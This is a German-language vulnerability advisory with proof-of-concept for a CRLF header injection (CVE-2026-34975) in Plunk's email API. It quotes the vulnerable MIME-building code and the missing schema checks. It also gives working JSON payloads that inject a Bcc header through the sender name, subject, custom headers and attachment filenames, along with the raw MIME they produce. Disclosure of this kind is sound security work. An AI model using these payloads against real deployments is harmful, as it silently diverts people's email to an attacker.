
Proof-of-Concept und technische Analyse der CRLF-E-Mail-Header-Injection in Plunks roher MIME-Konstruktion, die Bcc-Injection und andere Vektoren mit einem Python-PoC demonstriert.
Schweregrad: Hoch (CVSS 8.5)
CWE: CWE-93 — Unsachgemäße Neutralisierung von CRLF-Sequenzen („CRLF Injection")
Betroffen: useplunk/plunk <= 0.7.1
Behoben in: 0.8.0
Advisory: GHSA-2mvm-rg5v-7hfq
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
Danksagung: Romain Deperne
Der Endpunkt POST /v1/send von Plunk erstellt eine direkte MIME-E-Mail-Nachricht, indem benutzerseitig bereitgestellte Felder (from.name, subject, benutzerdefinierte Header, Dateinamen von Anhängen) direkt in einen Template-String interpoliert werden, ohne CRLF-Sanitisierung (\r\n). Ein authentifizierter API-Benutzer kann beliebige E-Mail-Header — einschließlich Bcc — injizieren, um E-Mail-Kopien stillschweigend an vom Angreifer kontrollierte Adressen umzuleiten.
Ich habe Open-Source-E-Mail-Versandplattformen geprüft — alles, was AWS SES umhüllt und eine API bereitstellt. Plunk positioniert sich als entwicklerfreundliche Alternative zu SendGrid/Postmark, aufgebaut auf SES.
Mein Einstiegspunkt war die Funktion zur direkten E-Mail-Konstruktion. Wann immer ich rawMessage += oder Template-Literale sehe, die MIME aufbauen, prüfe ich, ob jedes benutzerseitig bereitgestellte Feld CRLF-sanitisiert ist. In SESService.ts war die Antwort eindeutig nein: from.name, subject, benutzerdefinierte Header und Dateinamen von Anhängen wurden alle direkt interpoliert.
Was dies als ausnutzbar bestätigte: Das Zod-Schema (packages/shared/src/schemas/index.ts) hatte kein .regex() oder .refine(), das \r\n in einem dieser Felder ablehnte. Keine Sanitisierung auf Schema-Ebene, keine Sanitisierung auf MIME-Konstruktionsebene — ein sauberer Pfad von der API-Eingabe zum injizierten MIME-Header.
Ich habe alle vier Vektoren getestet (from.name, subject, benutzerdefinierter Header-Wert, Dateiname des Anhangs) und bestätigt, dass die Bcc:-Injection funktioniert. Jeder authentifizierte API-Benutzer mit einer verifizierten Absenderdomain kann stillschweigend jede ausgehende E-Mail an eine vom Angreifer kontrollierte Adresse kopieren. Das realistische Angriffsszenario ist ein kompromittierter API-Schlüssel, der zu einer dauerhaften E-Mail-Abfangvorrichtung wird.
Datei: apps/api/src/services/SESService.ts, Zeilen 137–151
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
Zod-Schema (packages/shared/src/schemas/index.ts) — keine CRLF-Validierung:
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n check
Die Konstruktion von Roh-MIME erfordert, dass jeder vom Benutzer bereitgestellte Wert vor der Interpolation von \r\n bereinigt wird. Plunk erstellt die Nachricht mit Template-Literalen und bereinigt keines der vier injizierbaren Felder. SMTP-Parser interpretieren \r\n als Header-Grenze, sodass das Injizieren von \r\nBcc: [email protected] in from.name einen echten Bcc-Header zur ausgehenden Nachricht hinzufügt.
Siehe poc.py für eine vollständige Demonstration mit vier Injektionsvektoren.
Kern-Payload — Bcc-Injektion über from.name:
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
Roh-MIME, erzeugt von SES:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
SES liefert bei jeder E-Mail, die über den kompromittierten API-Schlüssel gesendet wird, eine stille Kopie an [email protected].
Weitere Injektionsvektoren:
subject: "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To, Return-Path, Sender